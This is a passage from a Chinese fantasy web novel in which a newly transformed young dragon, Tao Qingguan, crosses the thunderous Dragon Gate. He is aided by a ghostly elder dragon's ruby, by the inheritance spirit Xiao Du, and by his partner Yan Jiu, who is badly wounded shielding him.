“龙门的位置我感应到了,它会逐渐向你靠近,为了减少外界的影响,我会带你到无人的海域。” 赤龙留给他的方法在脑海中浮现,宴氿缓缓开口。 “到龙门跟前时,你散掉身上所有的灵,这样龙门会有一瞬间以为是误判,同时缠绕在龙门上的雷云浅色会变浅,你抓准时机,快速游走,接下来交给我。” 陶清观仰起脑袋,有些担心,“你要怎么做,不会挨雷劈吧?” 宴氿:“不会。” 和赤龙实施这个方法的,多半是对方的朋友,亦或者是关系很好的长辈,赤龙不可能让对方置于危险的境地。 “我会在那一刻越过龙门,这样龙门的判定就会落在我身上。”宴氿解释道:“龙门判定成功后便会消失,但最终的奖励还是归你,虽然少了过龙门时的淬炼,但龙门的馈赠也足以支撑你的rou体去容纳以后积攒的灵。” 陶清观懂了,就跟替考一个道理,逃过身份认证那一关,宴氿就能顶着他的身份进考场。 只是好处说完了,坏处呢? 要真这么好使,龙又不是傻子,哪还会有龙过不去龙门。 这么想,陶清观也这么问出来。 “坏处……”宴氿顿了一下,“你会比一般龙弱,但现在龙就剩下我们两条,也无所谓了。” 陶清观歪脑袋,“就这样?” 宴氿含糊道:“差不多。” “你是不是有什么事情瞒着我?”陶清观眯起眼眸,哼声道:“你最好如实招来,要是之后被我发现,我们也别办什么婚礼,以后我们以父子相称。” 宴氿瞳孔地震。 好歹毒的威胁。 “不是什么大不了的事。”宴氿不想骗陶清观,无奈道:“用这种方法蒙混过去,你的寿命只有普通龙族的一半,但你对长生没什么执念,而且龙的寿命很长,就算是一半也有近千年,对你来说足矣。” 陶清观沉默了,他支棱起上半身,吻部轻轻碰了下宴氿的脸颊,眸光清澈,“真的够了?” “嗯,够了。”宴氿唇角仰起一抹弧度,眼眸中全是陶清观的身影,“陶囡囡,我知道你不服输,想碰一碰,可你还没正常龙崽的龙角长,我们得着眼于现实。” 龙百岁才成年,陶清观的岁数堪堪过一百的四分之一,化个形都磕磕绊绊,留给陶清观成长的时间太少了。 陶清观感觉自己膝盖中了一箭,哦,不对,他现在没膝盖。 他脑袋耷拉下去,丧丧道:“知道了。” 一旁的小渡也出声宽慰道:“除了这两点,别的,你跟正常龙没有区别,包括成年的体型,你也能拥有宴氿那样的龙形。” 陶清观脑袋动了动,小渡这句安慰完美踩在他在意的点上,他仰起头,“真的?” 小渡着小龙亮闪闪的眼睛,肯定地点头,“真的。” 以后小龙能长多大,宴氿的龙形就多大。 小渡原本对陶清观就自带滤镜,这会儿看到对方变成龙崽,更是一点抵抗力都没有,这么乖,这么小的龙崽,对比其他的,不亚于一群鲁智深中冒出一个林黛玉。 “好。”陶清观又振作起来,他松开宴氿的手,说道:“龙门在哪边,我们走。” “东边。”宴氿见陶清观要溜,轻轻摁住对方的尾巴,开口道:“我带你走。” “不要。” 宴氿没用什么力,陶清观挣脱出来,他说得有理有据,“我总得学会怎么游泳,不然到龙门那,我来不及跑怎么办。” “好。”宴氿本想说可以让小渡带着走,但看见陶清观眼底的认真,他将到嘴的话咽下去,转而叮嘱道:“先控制平衡再动身子,动作慢一点,适当借助灵的辅助。” 陶清观点脑袋,磕磕绊绊地游出去。 游泳这项技能大概是刻在龙基因里的,陶清观没游多远,就能自如掌控身体,他像跑出去撒欢的狗,在海中横冲直撞,有宴氿开路,只要他不往石头上冲,就是畅通无阻。 直到听见宴氿喊自己停下,陶清观还有些意犹未尽,他兴冲冲地游回去,围着宴氿打转。 “龙最快能游多快?”陶清观跟十万个为什么似的,问题一个接一个,“能游多远?我感觉一点都不费力,是不是能一直游?还有午饭吃什么?我有点饿。” 前面都是次要,午饭才是主要的。 宴氿扯了下唇角,戳了下陶清观的脑袋,“难为你还记得吃饭。” 现在快下午四点,要不是他叫住陶清观,还不知道对方能玩多久。 “没听说过哪条龙会游不动,不困就能一直游。”宴氿回答陶清观之前的问题,然后捞起陶清观向海面游去,“附近有座小岛,我们在那解决午饭,又或者是晚饭。” “吃完饭休息一晚,明早接着赶路,最迟到明晚,我们就能到龙门附近。” 陶清观没意见,他缠在宴氿手腕上,跟对方来到小岛。 甫一到岸上,陶清观就控制自己飞起来,不得不说,龙形飞得就是比人形轻松,他在空中绕了两圈,然后跟召唤兽似的,和小渡一左一右飘在宴氿肩膀上。 被夹在中间的宴氿叹了口气,对陶清观道:“变回人形,你这样不方便吃东西。” 陶清观身子一顿,短暂地沉默后,他开口道:“要……怎么变成人来着?” 宴氿:“……”好问题。 变形对宴氿来说跟喝水一般简单,让他说,他真说不出个所以然来,于是—— 宴氿反手吧小渡推出去,“你不是传承,快教他。” 小渡思索,“你回想一下变成龙时的感觉,两者差不多。” 陶清观圆溜溜的眼睛眯成半圆,老实说,他完全不知道变成龙是什么感觉,就咻的一下,然后他就不是人了。 变龙,变龙…… 陶清观灵光一闪,在宴氿和小渡的注视下,他腾空而起,背后柔顺的长毛随风飘舞,他深吸一口气,屏住呼吸。 下一秒,他咕噜咕噜滚出去,咬着空气上演一把鳄鱼专属‘死亡翻滚’,速度快到在空中留下残影。 宴氿看得欲言又止,这、这能行吗? 眼看陶清观都快把自己转晕了,还没一点变化,宴氿开口想要阻止,他刚要说话,只听哐的一声。 转晕的陶清观没控制好方向,给自己撞树上了。 小渡鱼身一颤,笑点和道德在脑子里疯狂博弈,它撇过头,忿忿谴责道:“坏树。” 这脸撇得但凡慢一秒,笑就止不住了。 宴氿大步上前,伸手准备接住往下坠的陶清观,可就在这时,陶清观倏然变回人形,十来岁的小孩撞宴氿一个满怀。 “我……yue~”陶清观晕得想吐,可胃里没东西,他吐不出来,眼前天旋地转,飘着小雪花,他感觉整个人都不太好。 陶清观拽着宴氿胸前的衣服,面色惨白,有气无力道:“我不会每次变形,都得这么整吧。” 实在有点费命。 宴氿拍拍陶清观的后背,帮人顺气,“不至于,多试几次找到感觉就好了。” 陶清观生无可恋脸,那两次他也不想试。 两人交谈间,小渡游出去老远,它停在一颗草前,咦了一声。 “宴氿,你过来看看。” 第125章 第 125 章 赤龙:诶嘿~诈尸~ 宴氿循声望去, 看见一株翠绿的小草,草尖顶着麦穗似的果实,果实通体透明, 泛着浅浅的绿色。 他有些诧异, “玄木果?” 小渡点头,“我还以为已经灭绝了, 没想这座小岛上居然有这东西。” 陶清观好奇地望过去,“它有什么用?” “龙崽偏爱的小零嘴。”小渡开口道:“能补充一点灵,用处不大, 但胜在味道好。” 它说完,指挥起宴氿,“拿去给囡囡吃。” “等等。”陶清观叫住宴氿,看着那株草目露思索,“这玩意能种吗?” 宴氿回答道:“它对生存条件要求苛刻, 稍有不注意就会枯萎,我不太建议你种。” “又不是我种,带回去让爷爷想办法。”陶清观这个好乖孙毫不犹豫把担子扔给陶笠鹤, 根据他的经验, 对龙族有用的东西,对人族效果翻倍, 是个好东西。 宴氿猜出陶清观的想法, 他肩膀微耸,开口道:“随便你, 现在灵草几乎销声匿迹, 带给特管局,确实很有帮助。” 陶清观走到玄木果前蹲下,有些犯难, “我们回来再拿?” “不用。”宴氿随手拿出一颗巴掌大琉璃球,琉璃球甫一靠近玄木果,就释放出浅蓝色的光晕,待光晕消失,琉璃球中央静静躺着一株小草。 宴氿将琉璃球递到陶清观面前,“喏。” 陶清观把球推回去,开口道:“你拿着,回去给我。” 他逆鳞里塞满了乱七八糟的东西,这巴掌大的球掉里面,找起来实在令龙头秃。 宴氿无所谓,反手将琉璃球收好,他掸了下手中不存在的尘土,说道:“你在这等我,我去找点食材。” 一听要捕鱼,陶清观自告奋勇,“我来捉!” 宴氿脚步一顿,想着附近没有能威胁到陶清观性命的东西,而且陶清观这会儿正好在兴头上,让人撒撒欢也无妨,他同意下来,“行,那我准备帐篷柴火,等你回来烤鱼。” “好嘞。” 陶清观撸起袖子,信心满满地向海边走去,来的路上他就看到好几条肥嘟嘟的鱼,正适合当他的晚饭。 跳回海中,考虑到自己龙形的大小,陶清观准备用人形抓鱼,他往下沉去,瞳孔微微收缩,视线捕捉到一条摇头晃脑的大鱼,陶清观猛地冲上去。 有灵做加持,陶清观轻松捉到大鱼,可那鱼滑不留手,没几下就挣脱他的束缚,大摇大摆的跑开。 陶清观神色懊恼,转身追上去。 “不对不对,你得用牙。” 熟悉的声音在耳畔响起,陶清观一个急刹,左顾右盼没看到人影,他试探着问道:“赤龙?” “诶,什么赤龙,我叫赤壶。”赤壶声音懒洋洋的,“没想到真能让我碰到小龙崽子。” 陶清观:“赤壶……你还活着?” 这明显不是留言。 “死了,死得透透的。”赤壶啧啧两声,“那块宝石护住了我一部分本源,等本源消耗殆尽,我就会消失。” “本来没打算诈尸,这不凑巧了,遇到你,小龙崽子我肯定得看两眼。” 赤壶兴致盎然,“你看着营养不良的样子,好弱一条,龙形有多长?” 陶清观不想回答,他四处搜寻,准备找下一个目标,但赤壶在他耳边喋喋不休。 “我猜猜,不足一米?”赤壶上下打量陶清观,“感觉我说多了,你能有半米都不错,看你灵的波动,好像快要跃龙门了,听我的找条成年龙帮你,我有办法糊弄过去。” 赤壶是个话痨,陶清观不吭声他一条龙也说得起劲。 陶清观被扰得难以专心,他叹了口气,跟赤壶搭话,“我知道你说的方法,也有龙帮我。” 赤壶夸张地哟了一声,“你不该反驳我,说自己可以,整出一副老子天下无敌的样子吗?” 陶清观嘴角抽搐,他严重怀疑对方诈尸就是来看热闹的。 “诶呀,居然有性格这么好的小龙崽。”赤壶语气中带着些许惋惜,“可惜生太晚了,不然我就把你带回去玩了。” “那恐怕不行。”陶清观开口道:“你应该打不过陪着我的龙。” 赤壶被戳到痛点,他哼了一声,理不直气也壮,“打不过,我不会偷么,算了算了,聊这个没意思,你真不打算过龙门?” 不待陶清观回答,赤壶出声怂恿道:“我把我剩下的本源都给你,说不定你就能跃过龙门。” 以他的经验,小崽子一怂恿就会变卦,到时候跟监护龙闹起来就好玩了。 陶清观不为所动,“不过。” “为什么?最少也有五成把握。”赤壶一个劲地叭叭,陶清观的拒绝,激起他的好胜负欲,“五成诶,完全可以赌,你就不想变强吗?我跟你说,不过龙门真的哪条龙都打不过,我这都是经验之谈。” 陶清观:“你自己不也没过。” “我这不是没办法嘛,虽然我活得也不错,但没过龙门多少有点遗憾。”赤壶长叹一口气,“要是我当年有这机会,我就赌了,也就你合我眼缘,不然我才不会这么帮你。” 陶清观一本正经道:“赌bo害人,远离赌bo从我做起。” 见陶清观真的没有一点心动,赤壶的好奇心被勾起。 龙,尤其是龙崽,最经不起激将,大抵是初生牛犊不怕虎,在亚成年阶段的龙崽,天都敢捅个窟窿,他还是第一次见陶清观这样小心谨慎的。 赤壶要是有实体,这会儿眼睛肯定跟大灯泡似的,“为什么?” 陶清观敛下眼眸,面上浮现些许认真之色,“我是赌得起,也能接受失败的结果,但我的家人不行。” 尤其是宴氿,若是过龙门失败,他的寿命大概只剩下五六十年,这对人类来说没什么,五六十年后,他也算得上寿终正寝,可这对宴氿来说太过短暂。 他清楚,如果将这件事告诉宴氿,对方肯定会尊重他的选择,无论失败与否,宴氿都不会将压力给他。 但…… 他不想让他的伴侣难过。 赤壶没想到陶清观的理由这么正经,到嘴边的调侃销声匿迹,他沉默了会儿,半是无奈地开口道:“本来想留着当个纪念,不过我都死了,留不留也无所谓。” “那个红宝石你还带着吗?” 陶清观回答:“带着。” 宝石消停后,他顺手揣进逆鳞里,就是这会儿有点难找。 赤壶卖了个关子,“你知道那块红宝石是什么东西吗?” 陶清观道:“训练小龙用的?” “不对,它其实是件礼器,训练小龙是顺带的功能。”赤壶不存在的尾巴左右摇晃,“那是我最喜欢的东西,在临死前,我的每位朋友都塞了一部分来自本源的灵进去,它是一件特殊的礼器,存放着龙的祝福。” 赤壶咂了咂嘴,“他们是想用这个方法把我的魂体留下,可我菜了点,魂体不凝实,没留住,浪费了怪可惜的,留给你玩吧。” “你过龙门的时候把这个带着,到时候就算失败,宝石也能护住你不被反噬。” 陶清观默了一会儿,开口道:“我们才认识,你怎么就把家底掏给我了。” 赤壶哈哈大笑,“我都死了,哪有什么家底不家底的,我向来对朋友大方。” 陶清观:“朋友?” 赤壶:“嗯,不是吗?” 陶清观唇瓣微张,却不知该说什么才好,他笑笑,忽然明白赤壶为什么会有那么多好友,赤壶的好友们又为什么费尽心血想将对方留下,这条龙实在直爽到没法讨厌。 “谢谢。”陶清观由衷道,他开口问道:“你有什么想要的,或者有什么遗憾,我可以帮你?” 赤壶思索,“我死得挺安详的,要说遗憾的话,确实有一点,最后没见到小渡,我死的时候没有龙崽诞生,它在沉睡,但这跟你说也没用,小渡现在大概还在沉睡吧。” “不,它醒着。”陶清观指着岸上,“现在就在上边。” 赤壶一愣,“你传承还没接收完?” 这都要过龙门了,小渡在干什么。 陶清观挠头,“应该差不多,好像就剩关于龙门的一部分。” 赤壶安静了一会儿,随后笑出声,“哈哈哈哈哈哈哈,它这个老古板居然也会钻漏子。” “传承接收完,它就会被迫陷入沉睡。”赤壶笑着解释道:“它故意卡着最后一点,好留在外边晃悠,走走走,我们上去。” “等等,我鱼还没抓到。” 陶清观在赤壶的指导下,急匆匆地抓了两条鱼,他一手拎着一条大鱼,游到岸上。 刚看到飘在半空的小渡,赤壶就激动起来,连声催促道:“快快快,把那个宝石拿出来。” 宴氿见陶清观回来,他走上前,却见陶清观坐地上往外面掏东西。 鸡零狗碎的东西掏出来一大堆,最后拿出一块鲜艳的红宝石,陶清观把红宝石递到小渡跟前,开口道:“赤壶要找你。” 听到这个名字,小渡一怔,随即它就听到赤壶的大嗓门。 “好久不见,你怎么就剩屁点大了。” 小渡:“……”还是一样的欠扁。 它薅起红宝石,跟陶清观说了一声,带着赤壶去旁边叙旧。 宴氿眸光扫过宝石,大概明白是怎么回事,他蹲下身子帮陶清观整理地上的东西,开口道:“有没有被欺负?” 赤壶似乎挺喜欢捉弄幼崽。 “没有,他人,不对,龙挺好的。” 陶清观犹豫着要不要跟宴氿说刚刚发生的事,他怕最后没能成功,让宴氿白高兴一场。 宴氿见陶清观神色纠结,问道:“怎么了?” 陶清观摇摇头,没有答话。 宴氿多看陶清观一眼,没多说什么,帮陶清观收拾好东西后,他拎起地上的鱼去海边处理。 陶清观远远望着宴氿,他盘腿坐在宴氿铺开的垫子上,背后是搭建好的帐篷。 他捋了两下因为抓鱼而弄乱的头发,殷红的唇瓣微微抿起。 自从身份变成龙族后,他就一直被照顾着,宴氿是这样,小渡也是这样,就连新认识的赤壶也一样。 他们都说照顾幼崽是应该的,可陶清观却没办法心安理得地接受大家的好意,大概是他这条半路出家的龙当得还不熟练。 陶清观一手拖着腮帮子,稚嫩脸庞上带着不属于他这个年纪的忧愁。 怎么当人有压力,当龙还有压力,事已至此…… 陶清观往地上一躺,对宴氿道:“我想吃酸菜鱼,还有烤鱼,再加点配菜,不要辣,做蒜香的。” 宴氿哑然失笑,他将处理好的鱼放下,起锅烧火,“行,剩下的再给你做一锅海鲜烩。” 陶清观比了个ok的手势。 他像摊着肚皮晒太阳的猫,暖阳为他镀上一层蜜色,陶清观眯着眼眸,变成龙的兴奋感过后,他有点困了。 宴氿盖上锅盖,回眸就看见陶清观慵懒的模样,他走到陶清观身旁坐下,抬手将对方乱翘的发丝拨到一旁,“困就睡会,等鱼好了,我叫你。” 陶清观翻了个身,枕在宴氿的大腿上,他搂住宴氿的腰,将脑袋埋在宴氿的腹部,用力蹭了两下。 宴氿揉了揉陶清观的脑袋,他抬起被压着的腿,让陶清观滑进自己怀里,“怎么愁眉苦脸的,有什么烦心事比下一顿吃什么还难?” 陶清观闷声回答道:“不相上下。” “这两天主菜都是鱼,不用纠结。”宴氿轻笑,抚过陶清观的后颈,“又不是什么大不了的事,凭心而定。” 陶清观搂着宴氿的手臂微微收紧,鼻腔中是独属于宴氿的气息,摇摆不定的心渐渐落下,他小声嘟囔,“说得你好像什么都知道一样。” 宴氿给陶清观顺毛,但笑不语。 陶清观睁开眼眸,惺忪的睡意退去,他松开宴氿,坐起身,“让我看看你做得怎么样。” 结局无非两种,反正试试又不亏。 陶清观掀开锅盖,白色的鱼汤咕嘟咕嘟冒泡,宴氿的手艺与日俱增,他尝了一口咸淡,感觉差不多,他往锅里撒了点白胡椒。 这时,小渡游回来,身上驮着变安静的红宝石。 小渡将红宝石交给陶清观,叮嘱道:“不要放进逆鳞里,随身带着。” 陶清观点头,望着手中沉默的红宝石,“他……” “死了。”小渡语气中没有一丝哀伤,“他本来就没活过,没差别。” 陶清观哭笑不得,他收起宝石,垂下眼眸,“赤壶活着时,龙族一定很热闹吧。” 小渡目光有一瞬间飘忽,似是回忆起以往,它仰起头,望向陶清观,“现在这世间也很热闹。” 所以,不必感到遗憾哀伤。 陶清观愣了一下,随即释然地笑了。 宴氿插入一龙一鱼的对话,“先吃饭。” 陶清观手里被塞了碗筷,小渡飘在他身旁。 宴氿打开锡纸抱着的烤鱼,放到折叠桌上,“海鱼没什么刺,觉得味道淡,自己加调料。” 陶清观点脑袋,他早就饿了,见宴氿也坐下,他愉快地吃起来。 边吃,陶清观还不忘记小渡,给对方的碟子里夹了几筷子鱼,对方多多少能尝个味,每次尝到好吃的,陶清观都会给小渡塞点,都快养成习惯了。 两条手臂长的鱼,陶清观吃了一大半,但他的小腹依旧平坦,也不知道吃哪去了。 “你在长身体,多吃点。”小渡目光慈祥,到宴氿这它又换了副面孔,“还愣着干什么,快去抓鱼。” 陶清观其实已经有七八分饱,换做以往他不会再吃,但这一次他没阻止小渡。 多吃一点,说不定他的龙形明天就会多长大一点。 最后的期限悄然迫近,陶清观捏紧拳头,至少,他明天不能是个萝卜丁! 第126章 第 126 章 过龙门 经过一晚上的沉淀, 第二天陶清观不负众望,龙形足足长长了十厘米,就是粗细没怎么变, 瞧着还没蛋黄卷粗。 陶清观打了个哈欠, 尾巴蜷缩起,他缠在宴氿龙角上, 双目无神地点豆子。 因为要赶路,宴氿一大早就把他薅起来,没办法, 龙门有时间限制,过了限制,便默认失败,宴氿嫌他游得慢,索性把他顶脑袋上了。 小渡伴在陶清观身侧, 见陶清观没什么精神,它蹭了蹭陶清观的吻部,“睡吧, 养足精神。” 陶清观这会儿正处于长身体的阶段, 本就需要大量的睡眠,若不是情况所迫, 陶清观现在该翻着肚皮晒太阳。 小渡眼底划过一丝浅浅的担忧, 以陶清观这个形态,过个龙门遭老罪了, 毕竟挨雷劈可是实打实的。 “困还好, 就是醒太早,脑子没转过来。”陶清观甩甩脑袋,抬眸望向前方, 发出灵魂一问,“午饭吃什么?” 宴氿:“你刚吃过早饭。” “对呀。”陶清观逻辑清晰,“所以我问的是午饭吃什么。” 宴氿半是无奈地回答:“你点菜,带来的材料还剩不少,都能做。” 听到这话,陶清观眼眸亮了几分,愉快地研究起菜单。 感受到陶清观高兴的情绪,宴氿莞尔,他本以为陶清观今天会紧张,没想到对方意外的松弛。 也好,他也不希望看到陶清观愁眉苦脸的样子。 一路上都没有人提起过龙门的事,陶清观吃完午饭后,还睡了个午觉,等他再次醒来,海上的风浪有明显增长。 宴氿在接近海面的地方游动,避开风浪的同时,也方便陶清观观察海面的情况。 陶清观仰起头,远远看见一片与天相接的黑色,其中隐隐闪烁着雷光,云雾弥漫,叫人看不真切。 他问宴氿:“那就是龙门?” 跟他想象中完全不一样,他还以为是西游记里那种,两根柱子戳天,上边横着一道坎,越过去就位列仙班。 宴氿回答道:“嗯,虽然用龙门称呼它,但其实它并不是一道门。” 随着他们逐渐靠近,龙门的真面目显现。 那是一条直冲云霄的水龙卷,靠近它的海面生出数个小漩涡,风声呼啸,震耳欲聋,时不时爆裂而起的火光显得它愈发诡谲。 龙卷最细的地方也有三人合抱粗,陶清观仰头望去,一眼望不到顶,在这个巨物面前,宴氿都显得纤细,更别提他了。 宴氿在距离龙门数百米外停下,他化作人形,将陶清观捧在怀里,他轻抚陶清观的脑袋,问道:“再歇一会?还有时间。” “你有没有听过一句话?”陶清观环着宴氿的手腕,认真道:“早死早超生。” 这种关头,等待除了增加紧张的心情,毫无其他用处,来都来了,莽就对了。 陶清观脖子上挂着红宝石,他支棱起脑袋,对宴氿道:“我自己去,你在这边等着。” 关于龙门的知识,小渡告诉他不少,例如龙门有个界限,若是范围内有两条龙存在,那另一条龙会被雷追着劈,宴氿又没出轨,犯不着天打五雷轰。 宴氿自是不放心,可此刻已没有停止的余地,他垂首,额头轻轻抵着陶清观,放低声音,“要是觉得太难受就回来,别逞强。” “放心。”陶清观挺起大概是胸脯的位置,他用吻部撞了下宴氿的脸颊,开口道:“我向来有自知之明。” 说完,陶清观跃出宴氿的掌心,他回眸冲宴氿摇了摇尾巴,然后目光坚定地向龙门的方向游去。 越是靠近,风浪越急,陶清观咬牙向前冲,他苦中作乐地想着,过完龙门,他八块腹肌也该练出来了。 说真的,高考都没这么紧张。 感受到水龙卷的吸力,陶清观心底捏了把冷汗,他咽了口唾沫,放弃抵抗,任由自己被卷进去。 刚一靠近,触电麻麻的感觉传遍全身,要不是龙形结实,陶清观高低得被电得舞两段。 紧接着失重感,晕眩感一起涌上来,陶清观费了好大功夫才稳住身形,避免自己被甩出去。 他咬紧后槽牙,埋头往前冲,接连不断的闪电劈下,新生的鳞片卷起,留下一道道伤口,伤口被烤焦,一滴血都没落下。 开始陶清观痛得龇牙咧嘴,但渐渐地,痛感变得麻木,体力的流失让他身形开始摇晃,在陶清观快要坚持不住时,挂在他身上的红宝石散发出柔和的光晕。 身上的伤口被快速修复,筋疲力竭的感觉退去,但疼痛感也卷土重来,陶清观那张龙脸揪在一起。 怎么个凌迟似的,一会儿给个一刀,这一刀还削得特别慢,不肯给个痛快。 陶清观重整旗鼓,奋力向上游,直到身上再一次布满伤口,红宝石微光闪烁。 一次、两次、三次……到最后陶清观也不记得重复了多少次,身体能被修复,但精神上的疲惫却不能,他几乎是靠着肌肉记忆往冲。 眸光渐渐涣散,陶清观一个不小心失去平衡,被甩到水龙卷边缘,他反应迅速,调整身体,但还是掉下去一大截。 突如其来的变故让他心底深处几份燥意,他强压泛起的情绪,甩了甩脑袋,想让自己清醒些。 动作间他看到远处盘旋在盘空的宴氿,那一霎那,他们的目光对上,陶清观眼底倒映出宴氿的身影。 宴氿琥珀似的眼眸中写满焦急,恨不得替陶清观承受着一切,可他又不想因为自己让陶清观分心,只好强忍着待在原地。 但晃出虚影的尾巴还是暴露了他的内心。 陶清观忍俊不禁,怎么跟大狗似的。 急躁感消退,陶清观告诉自己,都爬了快一半,不过去就亏大了,说什么都不能前功尽弃。 他屏住呼吸,继续往前冲,可疼痛这种东西没法习惯,无论重复多少次,在皮开肉绽,露出苍白的骨刺时,陶清观的眼尾还是会溢出泪花。 视线朦朦胧胧,但印在视网膜中央的顶端却格外清晰,陶清观也不知道那是不是顶,但他需要一个目标,漫无边际的前行只会让心底的迷茫愈演愈烈。 终于,精神上的疲惫抵达极限,心底有声音在说: 值得吗?为一个虚无缥缈的未来。 数十年岁月,相爱的夫妻最后也可能沦为两看两相厌,更别提千年岁月。 陶清观视线中出现重影,脑袋昏昏沉沉。 他……不知道的答案,也没法推测答案。 可他答应了宴氿,答应的事就得做到,这事关男人尊严。 而且—— 跃过去,说不定有朝一日他的实力能赶上宴氿,将龙狠狠摁在身下。 年下、人夫、肌肉,极品! 陶清观瞬间又有劲了,他还没看到宴氿裸ti呢,甭管以后如何,反正他现在新鲜感没过,等跃过去,他就跟宴氿要奖励,践行一下某些黄色小本子。 人在干坏事的时候总是有使不完的劲,陶清观脑补到把宴氿摁浴缸里的情形,瞬间来了精神,一下子蹿出去好长一段距离。 陶清观感觉美好的未来在向自己招手,可就在这时,意外突生,红宝石的光芒暗淡下来,伤口修复的速度也越来越慢。 赤壶留下的本源快消耗殆尽。 陶清观咬紧牙关,使出吃奶地力气往上冲,他身上的伤口纵横交错,道道深可见骨。 微光,熄灭了。 陶清观仰头望去,至少还剩五分之一的距离,没有赤壶本源的支撑,他还没到顶端就要被劈成渣渣了。 难办。 身上的疼痛不断积累,如果是人形,陶清观的下唇大概都要被他咬烂了,他呼吸声急促,如老旧的风箱,好像随时都会停止。 无奈之下,陶清观只好分出精力躲避雷电,可这样他的速度大幅度降低,体力也是成倍的消耗,他的眼前一阵阵发黑,陶清观拼着一口气,向上游。 就在他快失去意识时,陶清观隐隐约约听见有人在叫自己的名字,他本能地扭头望去,看见宴氿直奔自己而来。 雷云几乎是在宴氿闯进来的那一刻就将宴氿锁定,没有丝毫预警,水桶粗的闪电横劈而下,直取宴氿命门。 龙门一出手就是杀招。 陶清观猛地惊醒,“快走!” 他的嗓音粗粒沙哑,话音落下,血腥味在口腔中蔓延开来。 宴氿堪堪避过那道闪电,但腹部还是黑了一块,附近的灵暴躁愤怒,根本无法控制,他只能凭着自己的经验前进。 陶清观眉头紧皱,一走神,他也挨了雷电一下,陶清观面色扭曲,他在心底骂了宴氿两句,可看到对方受伤,还是忍不住心疼。 瞬息之间,宴氿来到陶清观附近,天上的雷云愈发猛烈,他只来得及把口中咬着的东西甩给陶清观,就狼狈逃开。 陶清观接到手,才发现宴氿甩过来的东西是小渡,狂风下,小渡靠着陶清观才勉强稳住身形。 “龙门会排斥我,我没办法久待。”小渡语速飞快,“等会儿我把传承全部给你,你的伤口就会痊愈,别怕,往前冲,不要回头。” 第127章 第 127 章 谢谢、再见 小渡话音落下, 陶清观感觉身体里缺少的那一块被填满,精神为之一振,他看见巨龙盘旋的天空, 瑰丽壮阔的山海。 那是一段他未曾见证, 却无法磨灭的岁月。 有龙吟在耳畔回响,绵长深远, 他看见巨龙合上眼陷入永久的沉眠,天空被幽深的海底取代,那里是龙的沉眠之地。 龙吟声绵延不绝, 似在悼念,又似在送别,一声接着一声,在耳边愈发清晰。 陶清观一怔,蓦然回首, 金色的光芒照亮他的眼眸,这时他感到颈脖间一空,那颗红宝石向下坠去, 又被小渡稳稳接住。 “向上走, 别回头。” 咔嚓,是宝石碎裂的声音, 小渡化作万千光点, 与碎裂的宝石融为一体,光点如有生命一般化作漫天箭影。 宝石是赤壶留给陶清观最后一道保险栓, 但小渡却选择提前将其用掉, 既然失败的结果是坠入深渊,那它就将成功的可能推向百分百。 龙吟更加清晰,好似近在咫尺, 陶清观屏息迎难而上,他听见呼啸声,暴雨声,还有强而有力的心跳声。 大海,亮了。 金色的光芒照亮海面,无数条龙腾空而起,龙门震怒,滚滚雷云奔腾而来,天与海间隔出一道明显的分界线。 压在陶清观身上的压力倏然消减,他竭尽全力加快速度,可又忍不住瞥向身侧。 龙的数量远超赤壶所说的几十条,陶清观数不清,但一眼望去,至少成百上千,他不知道是怎么回事,但直觉告诉他是因为小渡。 长伴与龙族的传承,存留着无数龙的馈赠,而此刻,小渡又将这些赠予他手中。 巨龙们的虚影在空中翱翔,丝毫不惧迎面而来的雷电,他们仰头而啸,随陶清观冲向云顶之上。 快一点,更快一点。 陶清观紧盯着高处,心底除了急切还有愤怒,凭什么龙门就能决定龙的命运,跟霸王条款似的,横在路中央当拦路虎。 他死死望着漩涡之上,脑海中的那根弦绷紧,终于他看到微弱的亮光,陶清观身子绷紧,化作离弦的箭直冲而上。 天,亮了。 跃过漆黑的云层后,映入眼帘的是一片洁白,龙吟声伴着身侧,陶清观抬眸,看见无数条龙冲破云层。 巨龙们的目光不约而同地落在陶清观身上,他们的目光宁静安详,静静地望着族中仅剩的后辈。 此刻万籁俱寂。 陶清观唇瓣微张,却不知道该说什么,他看见一条青龙向他奔赴而来,不待他开口,青龙化作一道流光汇入他身体之中。 暖洋洋的感觉遍布全身,陶清观在其中感觉到熟悉的气息。 青龙颜色与他相近,是他那位强抢民男的祖先? 陶清观勾起唇角,他抬起眼眸,眉眼微弯。 “谢谢。” 清脆的龙吟响起,旋律与送别的长歌相似。 无数光点亮起,那是跃过龙门的奖励。 传承已完善,陶清观清楚的知道接下来会发生什么,他静静等待光点与自己融为一体,可就在这时,平静的云层忽然动荡。 洁白的云朵翻涌,黑色的乌云蔓延起上,水桶粗的闪电向陶清观袭来,似乎运载着龙门对不守规则者的愤怒。 突如其来的变故让陶清观一惊,可闪电的速度太快,他根本来不及躲避,这道闪电得有水龙卷中的数十倍,陶清观也没把握自己能不能抗下这一击。 群龙向陶清观冲来,但终究慢上一步。 陶清观翻转身子,想用较为坚硬的背部接下,霎那间,陶清观眼前一黑,想象中的疼痛并没有降临,他回过头,看见一条白龙挡在自己背后。 是宴氿。 一击不成,龙门不甘地离场,所有光点汇聚在陶清观周身,修复着他的伤口,将他的体质拔高一大层。 周围巨龙的身影也在同一刻消散。 可陶清观却没心思顾及这些,他手忙脚乱地托住宴氿,宴氿伤口溢出的血,将他染成红色。 他的龙形虽然长了一圈,可比起来,还没宴氿脑袋大,陶清观费了吃奶的力,也只能减缓宴氿下落的速度。 从万米高空坠落,就算下面是海,跟砸水泥地上也没多大区别。 陶清观匆匆变回人形,他搂着宴氿的颈脖,操控着周围的灵,将他们托起,但这会儿他体内风起云涌,新来的力量横冲直撞,陶清观抽不出手去整理,能用的灵就变得有限。 好不容易,他们平稳降落在海面,可不消片刻,宴氿的血就将这一片海域染红。 陶清观心底着急,喊道:“醒醒,能听见我说话吗?宴氿,变成人形。” 就算龙的身体抗造,也扛不住一下子流这么多血,而且用龙形态,他没法帮宴氿做急救处理。 宴氿微微蹭了下陶清观的脸颊,下一秒他变回人形,彻底失去意识。 陶清观抱起宴氿,行走在海面之上,宴氿的伤口太多,不适合泡海水。 望着看不到边际的大海,陶清观唇瓣抿紧,“……小渡。” 预料之中,他没有得到任何回应。 陶清观搂紧宴氿,将自己的灵注入宴氿体内,他根据传承,向最近的岛屿奔去。 甫一落地,陶清观找了块平整的地方,想找之前的野餐垫,找到一般,他忽然想起日用品都在宴氿那。 陶清观唇角下压,拿出自己的衣服铺在地上,小心翼翼地将宴氿放上去。 他解开宴氿的衣服,伤口暴露在空气中,显得愈发狰狞,陶清观数不清宴氿身上有多少伤,对方冲上龙门时就已经伤痕累累,还为他挡下最后一击。 